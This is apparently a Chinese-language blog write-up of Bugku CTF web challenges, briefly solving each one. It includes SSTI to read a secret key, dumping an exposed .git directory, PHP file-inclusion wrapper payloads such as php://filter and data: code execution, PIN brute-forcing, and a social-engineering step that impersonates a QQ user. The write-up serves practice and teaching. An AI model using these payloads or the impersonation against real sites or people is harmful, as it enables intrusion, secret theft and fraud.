Bugku CTF

一、Simple_SSTI_1

在URL使用get函数,然后提交flag{{}},{{}}括号中包括config.SECRET_KEY

二、头等舱

Bp发送到repeater然后send看返回包

三、Source

Dirsearch 扫目录

wget -r http://114.67.246.176:10491/.git

递归下载该网站目录下的文件及文件夹

git reflog

查看执行的命令日志

git show e0b8e8e

使用git show commit_id 命令查看commit,标黄色的是commit——id

四、社工-伪造

用相同的qq名字和头像跟小妹说ctf即可

五、源代码

Bugku CTF_第1张图片

将三段变量url解码然后拼接在一起

67d709b2b54aa2aa648cf6e87a7114f1提交后得到flag

六、文件包含

伪协议

?file=php://filter/read=convert.base64-encode/resource=xxx.php

伪协议常用的payload,包括读文件和php代码执行

1.?file=data:text/plain,

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php

七、好像需要密码

Bp爆破5位数 数字

八、备份是个好习惯

1.PHP ini_set用来设置php.ini的值,在函数执行的时候生效

2.strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是,则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串;否则,返回NULL。

3.$_SERVER['REQUEST_URI'] //URL

4.substr — 返回字符串的子串

substr(string $string, int $start, int $length = ?)

把字符串 "Hello world!" 中的字符 "world" 替换为 "Shanghai":

echo str_replace("world","Shanghai","Hello world!");

?>

5.parse_str() 函数把查询字符串解析到变量中。

存储变量到一个数组中:

parse_str("name=Peter&age=43",$myArray);
print_r($myArray);
?>

Bugku CTF_第2张图片

九、No one knows regex better than me

Bugku CTF_第3张图片

Zero是flag的base64编码

$end=substr($third,5);

End变量等于从third的第五位开始到最后

\056\160\150\x70为16进制和8进制ascii代码,php可自动识别

Bugku CTF_第4张图片

你可能感兴趣的:(Bugku,CTF)